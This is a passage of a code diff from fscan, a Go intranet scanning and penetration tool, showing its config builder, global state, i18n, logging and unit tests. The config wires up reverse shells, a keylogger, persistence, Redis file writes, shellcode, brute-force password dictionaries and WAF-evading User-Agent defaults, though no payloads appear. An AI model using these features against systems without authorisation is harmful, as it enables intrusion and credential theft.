// BuildConfigFromFlags - 从 FlagVars 构建 Config
// =============================================================================
// BuildConfigFromFlags 从命令行参数构建配置对象
func BuildConfigFromFlags(fv *FlagVars) *Config {
return &Config{
// 高频字段
Timeout: time.Duration(fv.TimeoutSec) * time.Second,
TimeoutExplicit: fv.TimeoutExplicit,
ThreadNum: fv.ThreadNum,
ThreadNumExplicit: fv.ThreadNumExplicit,
ModuleThreadNum: fv.ModuleThreadNum,
ModuleThreadNumExplicit: fv.ModuleThreadNumExplicit,
DisableBrute: fv.DisableBrute,
DisablePing: fv.DisablePing,
DisableTcpProbe: fv.DisableTcpProbe,
// 扫描模式
Mode: fv.ScanMode,
LocalMode: fv.LocalPlugin != "",
LocalPlugin: fv.LocalPlugin,
AliveOnly: fv.AliveOnly,
MaxRetries: fv.MaxRetries,
MaxRetriesExplicit: fv.MaxRetriesExplicit,
// 高级功能
Shellcode: fv.Shellcode,
LocalPluginsList: nil, // 后续解析
DNSLog: fv.DNSLog,
PersistenceTargetFile: fv.PersistenceTargetFile,
WinPEFile: fv.WinPEFile,
PortMap: clonePortMap(config.DefaultPortMap),
DefaultMap: cloneStringSlice(config.DefaultProbeMap),
// 全局超时
GlobalTimeout: time.Duration(fv.GlobalTimeout) * time.Second,
// SOCKS5代理端口
Socks5ProxyPort: fv.Socks5ProxyPort,
// 分组配置
Credentials: CredentialConfig{
Username: fv.Username,
Password: fv.Password,
Domain: fv.Domain,
Userdict: cloneStringSliceMap(config.DefaultUserDict),
Passwords: cloneStringSlice(config.DefaultPasswords),
UserPassPairs: nil, // 后续解析
SSHKeyPath: fv.SSHKeyPath,
},
Network: NetworkConfig{
HTTPProxy: fv.HTTPProxy,
Socks5Proxy: fv.Socks5Proxy,
Iface: fv.Iface,
WebTimeout: time.Duration(fv.WebTimeout) * time.Second,
MaxRedirects: fv.MaxRedirects,
PacketRateLimit: fv.PacketRateLimit,
MaxPacketCount: fv.MaxPacketCount,
ICMPRate: fv.ICMPRate,
ICMPRateExplicit: fv.ICMPRateExplicit,
},
Output: OutputConfig{
File: fv.Outputfile,
Format: fv.OutputFormat,
DisableSave: fv.DisableSave,
NoColor: fv.NoColor || !isStdoutTerminal(),
Silent: fv.Silent,
DisableProgress: fv.DisableProgress,
ShowProgress: !fv.DisableProgress,
LogLevel: fv.LogLevel,
Language: fv.Language,
PerfStats: fv.PerfStats,
},
POC: POCConfig{
PocPath: fv.PocPath,
PocName: fv.PocName,
Full: fv.PocFull,
Num: fv.PocNum,
NumExplicit: fv.PocNumExplicit,
Disabled: fv.DisablePocScan,
},
Redis: RedisConfig{
Disabled: fv.DisableRedis,
File: fv.RedisFile,
Shell: fv.RedisShell,
WritePath: fv.RedisWritePath,
WriteContent: fv.RedisWriteContent,
WriteFile: fv.RedisWriteFile,
},
HTTP: HTTPConfig{
Cookie: fv.Cookie,
UserAgent: defaultUserAgent(fv.UserAgent),
Accept: fv.Accept,
},
LocalExploit: LocalExploitConfig{
ReverseShellTarget: fv.ReverseShellTarget,
ForwardShellPort: fv.ForwardShellPort,
KeyloggerOutputFile: fv.KeyloggerOutputFile,
DownloadURL: fv.DownloadURL,
DownloadSavePath: fv.DownloadSavePath,
},
Target: TargetConfig{
Ports: fv.Ports,
ExcludePorts: fv.ExcludePorts,
},
}
}
func isStdoutTerminal() bool {
return term.IsTerminal(int(os.Stdout.Fd()))
}
// defaultUserAgent 用户未通过 -ua 指定时回退到默认 UA,避免发送空 User-Agent 被 WAF 识别
func defaultUserAgent(ua string) string {
if ua != "" {
return ua
}
return "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
+1163
View File
File diff suppressed because it is too large Load Diff
+9
View File
@@ -0,0 +1,9 @@
//go:build web
package common
// WebMode Web版本始终为true
const WebMode = true
// WebPort 不再使用,端口由 main_web.go 的 -port 参数控制
var WebPort = 0
+9
View File
@@ -0,0 +1,9 @@
//go:build !web
package common
// WebMode 非Web版本永远为false
var WebMode = false
// WebPort 非Web版本不使用
var WebPort = 0
+232
View File
@@ -0,0 +1,232 @@
package common
import (
"errors"
"net"
"strconv"
"strings"
"sync"
"github.com/shadow1ng/fscan/common/i18n"
)
/*
globals.go - 全局配置变量
运行时数据和必要的全局状态。
命令行参数现通过 GetFlagVars() 访问,配置通过 GetGlobalConfig() 访问。
*/
// =============================================================================
// 核心数据结构
// =============================================================================
// HostInfo 主机信息结构 - 最核心的数据结构
type HostInfo struct {
Host string // 主机地址
Port int // 端口号(单个端口)
URL string // URL地址
Info []string // 附加信息
}
// Target 返回 host:port 格式字符串
func (h *HostInfo) Target() string {
host := h.Host
if strings.HasPrefix(host, "[") && strings.HasSuffix(host, "]") {
host = strings.TrimPrefix(strings.TrimSuffix(host, "]"), "[")
}
return net.JoinHostPort(host, strconv.Itoa(h.Port))
}
// =============================================================================
// 默认配置常量
// =============================================================================
const (
// DefaultThreadNum 默认线程数
DefaultThreadNum = 600
// DefaultTimeout 默认超时时间(秒)
DefaultTimeout = 3
// DefaultScanMode 默认扫描模式
DefaultScanMode = "all"
// DefaultLanguage 默认语言
DefaultLanguage = "zh"
// DefaultLogLevel 默认日志级别
DefaultLogLevel = "base"
)
// 日志级别常量
const (
LogLevelAll = "all"
LogLevelError = "error"
LogLevelBase = "base"
LogLevelInfo = "info"
LogLevelSuccess = "success"
LogLevelDebug = "debug"
LogLevelInfoSuccess = "info,success"
LogLevelBaseInfoSuccess = "base,info,success"
)
// 版本信息,通过 ldflags 注入
var (
version = "2.2.0-rc.1"
commit = "unknown"
date = "unknown"
)
func GetVersion() string { return version }
// 运行时数据已迁移到Config对象中,使用GetGlobalConfig()访问
// Shell状态已迁移到State对象中,使用GetGlobalState()访问
// POC配置、输出控制、发包控制、初始化已迁移到Config/State对象中
// =============================================================================
// 发包限制错误类型
// =============================================================================
// 哨兵错误 - 用于 errors.Is 判断
var (
ErrMaxPacketReached = errors.New("max packet count reached")
ErrPacketRateLimited = errors.New("packet rate limited")
)
// PacketLimitError 发包限制错误(包含详情)
type PacketLimitError struct {
Sentinel error // ErrMaxPacketReached 或 ErrPacketRateLimited
Limit int64
Current int64
}
func (e *PacketLimitError) Error() string {
if e.Sentinel == ErrMaxPacketReached {
return i18n.Tr("packet_limit_max_reached", e.Limit)
}
return i18n.Tr("packet_limit_rate_limited", e.Limit)
}
func (e *PacketLimitError) Unwrap() error {
return e.Sentinel
}
// =============================================================================
// 发包频率控制功能
// =============================================================================
// CanSendPacketWith 检查是否可以发包 - 同时检查频率限制和总数限制
// 返回值: (可以发包, 错误)
func CanSendPacketWith(config *Config, state *State) (bool, error) {
// 检查总数限制
maxPacketCount := config.Network.MaxPacketCount
if maxPacketCount > 0 {
currentTotal := state.GetPacketCount()
if currentTotal >= maxPacketCount {
return false, &PacketLimitError{
Sentinel: ErrMaxPacketReached,
Limit: maxPacketCount,
Current: currentTotal,
}
}
}
// 检查频率限制
return state.CheckAndIncrementPacketRate(config.Network.PacketRateLimit)
}
// CanSendPacket 便捷API - 使用全局配置和状态
// 内部调用 CanSendPacketWith,保持向后兼容(返回string)
func CanSendPacket() (bool, string) {
ok, err := CanSendPacketWith(GetGlobalConfig(), GetGlobalState())
if err != nil {
return ok, err.Error()
}
return ok, ""
}
// =============================================================================
// 全局 Config 和 State 实例(新架构)
// =============================================================================
var (
// globalConfig 全局配置实例(小写,不直接暴露)
globalConfig *Config
// globalState 全局状态实例(小写,不直接暴露)
globalState *State
// globalMu 保护全局变量的读写锁
globalMu sync.RWMutex
)
// GetGlobalConfig 获取全局配置实例(线程安全)
// 使用读写锁保护,避免竞态条件
func GetGlobalConfig() *Config {
globalMu.RLock()
cfg := globalConfig
globalMu.RUnlock()
if cfg != nil {
return cfg
}
// 需要初始化,获取写锁
globalMu.Lock()
defer globalMu.Unlock()
// 双重检查,避免重复初始化
if globalConfig == nil {
globalConfig = NewConfig()
}
return globalConfig
}
// SetGlobalConfig 设置全局配置实例(线程安全)
func SetGlobalConfig(cfg *Config) {
globalMu.Lock()
globalConfig = cfg
globalMu.Unlock()
}
// GetGlobalState 获取全局状态实例(线程安全)
// 使用读写锁保护,避免竞态条件
func GetGlobalState() *State {
globalMu.RLock()
st := globalState
globalMu.RUnlock()
if st != nil {
return st
}
// 需要初始化,获取写锁
globalMu.Lock()
defer globalMu.Unlock()
// 双重检查,避免重复初始化
if globalState == nil {
globalState = NewState()
}
return globalState
}
// SetGlobalState 设置全局状态实例(线程安全)
func SetGlobalState(state *State) {
globalMu.Lock()
globalState = state
globalMu.Unlock()
}
// =============================================================================
// 字符串工具函数
// =============================================================================
// ContainsAny 检查字符串是否包含任意一个子串
func ContainsAny(s string, substrs ...string) bool {
for _, substr := range substrs {
if strings.Contains(s, substr) {
return true
}
}
return false
}
+67
View File
@@ -0,0 +1,67 @@
package common
import (
"errors"
"strings"
"testing"
)
func TestHostInfoTargetUsesBracketedIPv6(t *testing.T) {
info := &HostInfo{Host: "2001:db8::1", Port: 443}
if got, want := info.Target(), "[2001:db8::1]:443"; got != want {
t.Fatalf("Target() = %q, want %q", got, want)
}
}
func TestHostInfoTargetDoesNotDoubleBracketIPv6(t *testing.T) {
info := &HostInfo{Host: "[2001:db8::1]", Port: 443}
if got, want := info.Target(), "[2001:db8::1]:443"; got != want {
t.Fatalf("Target() = %q, want %q", got, want)
}
}
func TestGlobalHelpersAndPacketLimitErrors(t *testing.T) {
if GetVersion() == "" {
t.Fatal("GetVersion returned empty string")
}
if !ContainsAny("hello fscan", "none", "scan") {
t.Fatal("ContainsAny should find a matching substring")
}
if ContainsAny("hello fscan", "none", "missing") {
t.Fatal("ContainsAny should return false when nothing matches")
}
maxErr := &PacketLimitError{Sentinel: ErrMaxPacketReached, Limit: 5, Current: 5}
if !errors.Is(maxErr, ErrMaxPacketReached) || !strings.Contains(maxErr.Error(), "5") {
t.Fatalf("max packet error = %v", maxErr)
}
rateErr := &PacketLimitError{Sentinel: ErrPacketRateLimited, Limit: 3, Current: 2}
if !errors.Is(rateErr, ErrPacketRateLimited) || !strings.Contains(rateErr.Error(), "3") {
t.Fatalf("rate limit error = %v", rateErr)
}
}
func TestCanSendPacketUsesGlobalConfigAndState(t *testing.T) {
previousConfig := GetGlobalConfig()
previousState := GetGlobalState()
t.Cleanup(func() {
SetGlobalConfig(previousConfig)
SetGlobalState(previousState)
})
cfg := NewConfig()
cfg.Network.MaxPacketCount = 1
state := NewState()
state.IncrementPacketCount()
SetGlobalConfig(cfg)
SetGlobalState(state)
ok, reason := CanSendPacket()
if ok {
t.Fatal("CanSendPacket should reject when max packet count is reached")
}
if reason == "" {
t.Fatal("CanSendPacket should return a rejection reason")
}
}
+6
View File
@@ -0,0 +1,6 @@
package i18n
import "embed"
//go:embed locales/*.yaml
var localeFS embed.FS
+97
View File
@@ -0,0 +1,97 @@
package i18n
import (
"fmt"
"strconv"
"sync"
"github.com/nicksnyder/go-i18n/v2/i18n"
"golang.org/x/text/language"
"gopkg.in/yaml.v3"
)
// 支持的语言常量
const (
LangZH = "zh"
LangEN = "en"
)
// 默认配置
const (
DefaultLanguage = LangZH
FallbackLanguage = LangEN
)
var (
bundle *i18n.Bundle
localizer *i18n.Localizer
lang = DefaultLanguage
mu sync.RWMutex
)
func init() {
bundle = i18n.NewBundle(language.Chinese)
bundle.RegisterUnmarshalFunc("yaml", yaml.Unmarshal)
// 从embed加载翻译文件
if _, err := bundle.LoadMessageFileFS(localeFS, "locales/zh.yaml"); err != nil {
panic(fmt.Sprintf("failed to load zh.yaml: %v", err))
}
if _, err := bundle.LoadMessageFileFS(localeFS, "locales/en.yaml"); err != nil {
panic(fmt.Sprintf("failed to load en.yaml: %v", err))
}
localizer = i18n.NewLocalizer(bundle, lang, FallbackLanguage)
}
// SetLanguage 设置当前语言
func SetLanguage(l string) {
mu.Lock()
defer mu.Unlock()
lang = l
localizer = i18n.NewLocalizer(bundle, lang, FallbackLanguage)
}
// GetLanguage returns the currently configured language.
func GetLanguage() string {
mu.RLock()
defer mu.RUnlock()
return lang
}
// GetText 获取国际化文本(无参数)
func GetText(key string) string {
mu.RLock()
loc := localizer
mu.RUnlock()
msg, err := loc.Localize(&i18n.LocalizeConfig{
MessageID: key,
})
if err != nil || msg == "" {
return key
}
return msg
}
// Tr 获取国际化文本并格式化(变参版本)
// 参数按顺序映射为 {{.Arg1}}, {{.Arg2}}, ...
func Tr(key string, args ...interface{}) string {
mu.RLock()
loc := localizer
mu.RUnlock()
data := make(map[string]interface{}, len(args))
for i, arg := range args {
data["Arg"+strconv.Itoa(i+1)] = arg
}
msg, err := loc.Localize(&i18n.LocalizeConfig{
MessageID: key,
TemplateData: data,
})
if err != nil || msg == "" {
return key
}
return msg
}
+37
View File
@@ -0,0 +1,37 @@
package i18n
import (
"strings"
"testing"
)
func TestLanguageLifecycleAndFallbacks(t *testing.T) {
original := GetLanguage()
t.Cleanup(func() { SetLanguage(original) })
SetLanguage(LangEN)
if got := GetLanguage(); got != LangEN {
t.Fatalf("language = %q, want %q", got, LangEN)
}
if got := GetText("concurrency_plugin"); got == "" || got == "concurrency_plugin" {
t.Fatalf("english text = %q, want translated text", got)
}
if got := Tr("debug_cpu_profile_started", "/tmp/profiles"); !strings.Contains(got, "/tmp/profiles") {
t.Fatalf("formatted english text = %q, want path included", got)
}
SetLanguage(LangZH)
if got := GetLanguage(); got != LangZH {
t.Fatalf("language = %q, want %q", got, LangZH)
}
if got := GetText("concurrency_plugin"); got == "" || got == "concurrency_plugin" {
t.Fatalf("chinese text = %q, want translated text", got)
}
if got := GetText("missing_translation_key"); got != "missing_translation_key" {
t.Fatalf("missing GetText = %q, want key", got)
}
if got := Tr("missing_translation_key", "ignored"); got != "missing_translation_key" {
t.Fatalf("missing Tr = %q, want key", got)
}
}
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+94
View File
@@ -0,0 +1,94 @@
package common
import (
"fmt"
"github.com/shadow1ng/fscan/common/i18n"
)
/*
initialize.go - 统一初始化入口
简化后的流程:
命令行 → FlagVars → BuildConfig() → Config + State
*/
// InitResult 初始化结果
type InitResult struct {
Config *Config
State *State
Info *HostInfo
Session *ScanSession
}
// Initialize 统一初始化函数
// 封装 BuildConfig → InitOutput 流程
func Initialize(info *HostInfo) (*InitResult, error) {
// 1. 初始化日志系统
InitLogger()
// 2. 从 FlagVars 构建 Config 和 State
cfg, state, err := BuildConfig(GetFlagVars(), info)
if err != nil {
return nil, fmt.Errorf("%s: %w", i18n.GetText("config_build_failed"), err)
}
// 3. 设置全局实例
SetGlobalConfig(cfg)
SetGlobalState(state)
// 4. 初始化输出系统
if err := InitOutput(); err != nil {
return nil, fmt.Errorf("%s: %w", i18n.GetText("output_init_failed"), err)
}
session := NewScanSession(cfg, state, GetFlagVars())
return &InitResult{
Config: cfg,
State: state,
Info: info,
Session: session,
}, nil
}
// ValidateExclusiveParams 验证互斥参数
// 检查 -h、-u、-local 只能指定一个
func ValidateExclusiveParams(info *HostInfo) error {
paramCount := 0
var activeParam string
fv := GetFlagVars()
if info.Host != "" {
paramCount++
activeParam = "-h"
}
if fv.TargetURL != "" {
paramCount++
if activeParam != "" {
activeParam = i18n.Tr("param_join_and", activeParam, "-u")
} else {
activeParam = "-u"
}
}
if fv.LocalPlugin != "" {
paramCount++
if activeParam != "" {
activeParam = i18n.Tr("param_join_and", activeParam, "-local")
} else {
activeParam = "-local"
}
}
if paramCount > 1 {
return fmt.Errorf("%s", i18n.Tr("param_exclusive", activeParam))
}
return nil
}
// Cleanup 清理资源
func Cleanup() error {
return CloseOutput()
}
+55
View File
@@ -0,0 +1,55 @@
package common
import (
"strings"
"testing"
)
func TestValidateExclusiveParams(t *testing.T) {
previous := GetFlagVars()
t.Cleanup(func() { flagVars = previous })
tests := []struct {
name string
info *HostInfo
flags *FlagVars
wantErr string
}{
{name: "host only", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{}},
{name: "url only", info: &HostInfo{}, flags: &FlagVars{TargetURL: "http://example.com"}},
{name: "local only", info: &HostInfo{}, flags: &FlagVars{LocalPlugin: "sshkey"}},
{name: "host and url conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com"}, wantErr: "-h"},
{name: "host url local conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com", LocalPlugin: "sshkey"}, wantErr: "-local"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
flagVars = tt.flags
err := ValidateExclusiveParams(tt.info)
if tt.wantErr == "" {
if err != nil {
t.Fatalf("ValidateExclusiveParams error = %v", err)
}
return
}
if err == nil || !strings.Contains(err.Error(), tt.wantErr) {
t.Fatalf("ValidateExclusiveParams error = %v, want containing %q", err, tt.wantErr)
}
})
}
}
func TestCleanupWithoutOutput(t *testing.T) {
oldResultOutput := ResultOutput
oldStdoutWriter := StdoutWriter
t.Cleanup(func() {
ResultOutput = oldResultOutput
StdoutWriter = oldStdoutWriter
})
ResultOutput = nil
StdoutWriter = nil
if err := Cleanup(); err != nil {
t.Fatalf("Cleanup error = %v", err)
}
}
+129
View File
@@ -0,0 +1,129 @@
package common
/*
logger.go - 日志系统简化接口
提供统一的日志API,底层使用logging包实现。
*/
import (
"strings"
"sync"
"github.com/shadow1ng/fscan/common/logging"
)
var (
globalLogger *logging.Logger
loggerOnce sync.Once
loggerMu sync.Mutex
silentLoggerRefs int
)
func getGlobalLogger() *logging.Logger {
loggerMu.Lock()
defer loggerMu.Unlock()
loggerOnce.Do(func() {
fv := GetFlagVars()
level := getLogLevelFromString(fv.LogLevel)
config := &logging.LoggerConfig{
Level: level,
EnableColor: !fv.NoColor,
SlowOutput: false,
ShowProgress: !fv.DisableProgress,
Silent: fv.Silent || silentLoggerRefs > 0,
StartTime: GetGlobalState().GetStartTime(),
}
if fv.Debug {
config.DebugLogFile = "fscan_debug.log"
}
globalLogger = logging.NewLogger(config)
globalLogger.SetCoordinatedOutput(LogWithProgress)
})
return globalLogger
}
func getLogLevelFromString(levelStr string) logging.LogLevel {
switch strings.ToLower(levelStr) {
case "all":
return logging.LevelAll
case "error":
return logging.LevelError
case "base":
return logging.LevelBase
case "info":
return logging.LevelInfo
case "success":
return logging.LevelSuccess
case "debug":
return logging.LevelDebug
case "info,success":
return logging.LevelInfoSuccess
case "base,info,success", "base_info_success":
return logging.LevelBaseInfoSuccess
default:
return logging.LevelInfoSuccess
}
}
// InitLogger 初始化日志系统
func InitLogger() {
getGlobalLogger().Initialize()
}
// LogDebug 输出调试日志
func LogDebug(msg string) { getGlobalLogger().Debug(msg) }
// LogInfo 输出信息日志
func LogInfo(msg string) { getGlobalLogger().Info(msg) }
// LogSuccess 输出成功日志(Web指纹等)
func LogSuccess(result string) { getGlobalLogger().Success(result) }
// LogVuln 输出漏洞/重要发现日志(密码成功、漏洞等)
func LogVuln(result string) { getGlobalLogger().Vuln(result) }
// LogError 输出错误日志
func LogError(errMsg string) { getGlobalLogger().Error(errMsg) }
// CloseLogger 关闭日志系统,释放文件资源
func CloseLogger() {
loggerMu.Lock()
defer loggerMu.Unlock()
closeLoggerLocked()
}
// PushSilentLogger suppresses process-wide legacy log output until the returned
// restore function is called. It is reference counted so concurrent embedded
// scans can overlap safely.
func PushSilentLogger() func() {
loggerMu.Lock()
silentLoggerRefs++
resetLoggerLocked()
loggerMu.Unlock()
var once sync.Once
return func() {
once.Do(func() {
loggerMu.Lock()
if silentLoggerRefs > 0 {
silentLoggerRefs--
}
resetLoggerLocked()
loggerMu.Unlock()
})
}
}
func resetLoggerLocked() {
closeLoggerLocked()
globalLogger = nil
loggerOnce = sync.Once{}
}
func closeLoggerLocked() {
if globalLogger != nil {
globalLogger.Close()
}
}
+63
View File
@@ -0,0 +1,63 @@
package common
import "testing"
func preserveLoggerForTest(t *testing.T) {
t.Helper()
loggerMu.Lock()
oldSilentRefs := silentLoggerRefs
silentLoggerRefs = 0
resetLoggerLocked()
loggerMu.Unlock()
t.Cleanup(func() {
loggerMu.Lock()
closeLoggerLocked()
silentLoggerRefs = oldSilentRefs
resetLoggerLocked()
loggerMu.Unlock()
})
}
func TestLoggerFacadeSilentLifecycle(t *testing.T) {
preserveLoggerForTest(t)
previousFlags := GetFlagVars()
previousState := GetGlobalState()
t.Cleanup(func() {
flagVars = previousFlags
SetGlobalState(previousState)
})
flagVars = &FlagVars{Silent: true, LogLevel: "debug"}
SetGlobalState(NewState())
InitLogger()
LogDebug("debug")
LogInfo("info")
LogSuccess("success")
LogVuln("vuln")
LogError("error")
CloseLogger()
}
func TestPushSilentLoggerReferenceCount(t *testing.T) {
preserveLoggerForTest(t)
restoreOne := PushSilentLogger()
restoreTwo := PushSilentLogger()
if silentLoggerRefs != 2 {
t.Fatalf("silent refs = %d, want 2", silentLoggerRefs)
}
restoreOne()
restoreOne()
if silentLoggerRefs != 1 {
t.Fatalf("silent refs after first restore = %d, want 1", silentLoggerRefs)
}
restoreTwo()
if silentLoggerRefs != 0 {
t.Fatalf("silent refs after second restore = %d, want 0", silentLoggerRefs)
}
}
+104
View File
@@ -0,0 +1,104 @@
package logging
/*
constants.go - 日志系统常量定义
统一管理common/logging包中的所有常量,便于查看和编辑。
*/
import (
"time"
"github.com/fatih/color"
)
// =============================================================================
// 日志级别常量 - 层级设计
// =============================================================================
// LogLevel 日志级别类型(数值越小越详细)
type LogLevel int
// 定义系统支持的日志级别常量(层级:Debug < Base < Info < Success < Vuln < Error
const (
LevelDebug LogLevel = 0 // 调试信息(最详细)
LevelBase LogLevel = 1 // 基础信息(扫描进度等)
LevelInfo LogLevel = 2 // 一般信息(端口开放、服务识别等)
LevelSuccess LogLevel = 3 // 成功结果(Web指纹等)
LevelVuln LogLevel = 4 // 重要发现(弱密码、漏洞等)
LevelError LogLevel = 5 // 错误信息(始终显示)
)
// 向后兼容的别名
const (
LevelAll LogLevel = LevelDebug // ALL 等同于 Debug(显示所有)
LevelInfoSuccess LogLevel = LevelInfo // 废弃,映射到 Info
LevelBaseInfoSuccess LogLevel = LevelBase // 废弃,映射到 Base
)
// =============================================================================
// 时间显示常量 (从Formatter.go迁移)
// =============================================================================
const (
// MaxMillisecondDisplay 毫秒显示的最大时长
MaxMillisecondDisplay = time.Second
// MaxSecondDisplay 秒显示的最大时长
MaxSecondDisplay = time.Minute
// MaxMinuteDisplay 分钟显示的最大时长
MaxMinuteDisplay = time.Hour
// SlowOutputDelay 慢速输出延迟
SlowOutputDelay = 50 * time.Millisecond
// ProgressClearDelay 进度条清除延迟
ProgressClearDelay = 10 * time.Millisecond
)
// =============================================================================
// 日志前缀常量 (从Formatter.go迁移)
// =============================================================================
const (
// PrefixDebug 调试日志前缀
PrefixDebug = "[.]"
// PrefixInfo 信息日志前缀
PrefixInfo = "[*]"
// PrefixSuccess 成功日志前缀
PrefixSuccess = "[+]"
// PrefixVuln 漏洞/重要发现前缀
PrefixVuln = "[!]"
// PrefixError 错误日志前缀
PrefixError = "[-]"
)
// =============================================================================
// 默认配置常量
// =============================================================================
const (
// DefaultLevel 默认日志级别
DefaultLevel = LevelAll
// DefaultEnableColor 默认启用彩色输出
DefaultEnableColor = true
// DefaultSlowOutput 默认不启用慢速输出
DefaultSlowOutput = false
// DefaultShowProgress 默认显示进度条
DefaultShowProgress = true
)
// =============================================================================
// 默认颜色映射
// =============================================================================
// GetDefaultLevelColors 获取默认的日志级别颜色映射
func GetDefaultLevelColors() map[LogLevel]interface{} {
return map[LogLevel]interface{}{
LevelError: color.FgYellow, // 错误日志显示黄色
LevelVuln: color.FgRed, // 漏洞/重要发现显示红色(密码成功、漏洞等)
LevelBase: color.FgWhite, // 基础日志显示白色(普通信息)
LevelInfo: color.FgWhite, // 信息日志显示白色(普通信息)
LevelSuccess: color.FgGreen, // 成功日志显示绿色(Web指纹等)
LevelDebug: color.FgWhite, // 调试日志显示白色
}
}
+259
View File
@@ -0,0 +1,259 @@
package logging
import (
"fmt"
"os"
"strings"
"sync"
"time"
"github.com/fatih/color"
)
// LogEntry 日志条目
type LogEntry struct {
Level LogLevel `json:"level"`
Time time.Time `json:"time"`
Content string `json:"content"`
Source string `json:"source"`
Metadata map[string]interface{} `json:"metadata"`
}
// LoggerConfig 日志器配置
type LoggerConfig struct {
Level LogLevel `json:"level"`
EnableColor bool `json:"enable_color"`
SlowOutput bool `json:"slow_output"`
ShowProgress bool `json:"show_progress"`
Silent bool `json:"silent"`
StartTime time.Time `json:"start_time"`
LevelColors map[LogLevel]interface{} `json:"-"`
DebugLogFile string `json:"debug_log_file"`
}
// DefaultLoggerConfig 默认日志器配置
func DefaultLoggerConfig() *LoggerConfig {
return &LoggerConfig{
Level: DefaultLevel,
EnableColor: DefaultEnableColor,
SlowOutput: DefaultSlowOutput,
ShowProgress: DefaultShowProgress,
StartTime: time.Now(),
LevelColors: GetDefaultLevelColors(),
}
}
// Logger 简化的日志管理器
type Logger struct {
mu sync.RWMutex
config *LoggerConfig
startTime time.Time
coordinatedOutput func(string)
initialized bool
debugFile *os.File
}
// NewLogger 创建新的日志管理器
func NewLogger(config *LoggerConfig) *Logger {
if config == nil {
config = DefaultLoggerConfig()
}
l := &Logger{
config: config,
startTime: config.StartTime,
initialized: true,
}
if config.DebugLogFile != "" {
f, err := os.OpenFile(config.DebugLogFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
if err == nil {
l.debugFile = f
}
}
return l
}
// Initialize 初始化日志器
func (l *Logger) Initialize() {
l.mu.Lock()
defer l.mu.Unlock()
l.initialized = true
}
// SetCoordinatedOutput 设置协调输出函数
func (l *Logger) SetCoordinatedOutput(outputFunc func(string)) {
l.mu.Lock()
defer l.mu.Unlock()
l.coordinatedOutput = outputFunc
}
// Debug 输出调试信息
func (l *Logger) Debug(msg string) {
l.log(LevelDebug, msg)
}
// Base 输出基础信息
func (l *Logger) Base(msg string) {
l.log(LevelBase, msg)
}
// Info 输出信息
func (l *Logger) Info(msg string) {
l.log(LevelInfo, msg)
}
// Success 输出成功信息
func (l *Logger) Success(msg string) {
l.log(LevelSuccess, msg)
}
// Vuln 输出漏洞/重要发现信息
func (l *Logger) Vuln(msg string) {
l.log(LevelVuln, msg)
}
// Error 输出错误信息
func (l *Logger) Error(msg string) {
l.log(LevelError, msg)
}
// log 内部日志处理方法
func (l *Logger) log(level LogLevel, content string) {
l.mu.Lock()
defer l.mu.Unlock()
if l.config.Silent {
return
}
if !l.shouldLog(level) {
return
}
// 格式化消息:保留前缀,去掉时间戳
prefix := l.getLevelPrefix(level)
// 处理多行内容:给每行加上前缀,然后作为一个整体输出
if strings.Contains(content, "\n") {
lines := strings.Split(content, "\n")
var formattedLines []string
for _, line := range lines {
if line != "" {
formattedLines = append(formattedLines, fmt.Sprintf("%s %s", prefix, line))
}
}
logMsg := strings.Join(formattedLines, "\n")
l.outputMessage(level, logMsg)
} else {
logMsg := fmt.Sprintf("%s %s", prefix, content)
l.outputMessage(level, logMsg)
}
// 写入debug日志文件(纯文本,无颜色)
if l.debugFile != nil {
timestamp := time.Since(l.startTime).Truncate(time.Millisecond)
if strings.Contains(content, "\n") {
lines := strings.Split(content, "\n")
for _, line := range lines {
if line != "" {
_, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, line)
}
}
} else {
_, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, content)
}
}
// 根据慢速输出设置决定是否添加延迟
if l.config.SlowOutput {
time.Sleep(SlowOutputDelay)
}
}
// Close 关闭日志器,释放文件资源
func (l *Logger) Close() {
l.mu.Lock()
defer l.mu.Unlock()
if l.debugFile != nil {
_ = l.debugFile.Close()
l.debugFile = nil
}
}
// shouldLog 检查是否应该记录该级别的日志
// 层级过滤:消息级别 >= 配置级别 时显示,Error 始终显示
func (l *Logger) shouldLog(level LogLevel) bool {
// Error 级别始终显示
if level == LevelError {
return true
}
// 层级过滤:消息级别 >= 配置级别
return level >= l.config.Level
}
// outputMessage 输出消息
func (l *Logger) outputMessage(level LogLevel, logMsg string) {
if l.coordinatedOutput != nil {
// 使用协调输出(与进度条配合)
if l.config.EnableColor {
if colorAttr, ok := l.config.LevelColors[level]; ok {
if attr, ok := colorAttr.(color.Attribute); ok {
coloredMsg := color.New(attr).Sprint(logMsg)
l.coordinatedOutput(coloredMsg)
return
}
}
}
l.coordinatedOutput(logMsg)
} else {
// 直接输出
if l.config.EnableColor {
if colorAttr, ok := l.config.LevelColors[level]; ok {
if attr, ok := colorAttr.(color.Attribute); ok {
_, _ = color.New(attr).Println(logMsg)
return
}
}
}
fmt.Println(logMsg)
}
}
// formatElapsedTime 格式化经过的时间
func (l *Logger) formatElapsedTime(elapsed time.Duration) string {
switch {
case elapsed < MaxMillisecondDisplay:
return fmt.Sprintf("%dms", elapsed.Milliseconds())
case elapsed < MaxSecondDisplay:
return fmt.Sprintf("%.1fs", elapsed.Seconds())
case elapsed < MaxMinuteDisplay:
minutes := int(elapsed.Minutes())
seconds := int(elapsed.Seconds()) % 60
return fmt.Sprintf("%dm%ds", minutes, seconds)
default:
hours := int(elapsed.Hours())
minutes := int(elapsed.Minutes()) % 60
seconds := int(elapsed.Seconds()) % 60
return fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
}
}
// getLevelPrefix 获取日志级别前缀
func (l *Logger) getLevelPrefix(level LogLevel) string {
switch level {
case LevelDebug:
return PrefixDebug
case LevelInfo:
return PrefixInfo
case LevelSuccess:
return PrefixSuccess
case LevelVuln:
return PrefixVuln
case LevelError:
return PrefixError
default:
return PrefixInfo // 默认使用 Info 前缀
}
}
+692
View File
@@ -0,0 +1,692 @@
package logging
import (
"fmt"
"os"
"path/filepath"
"strings"
"sync"
"testing"
"time"
)
/*
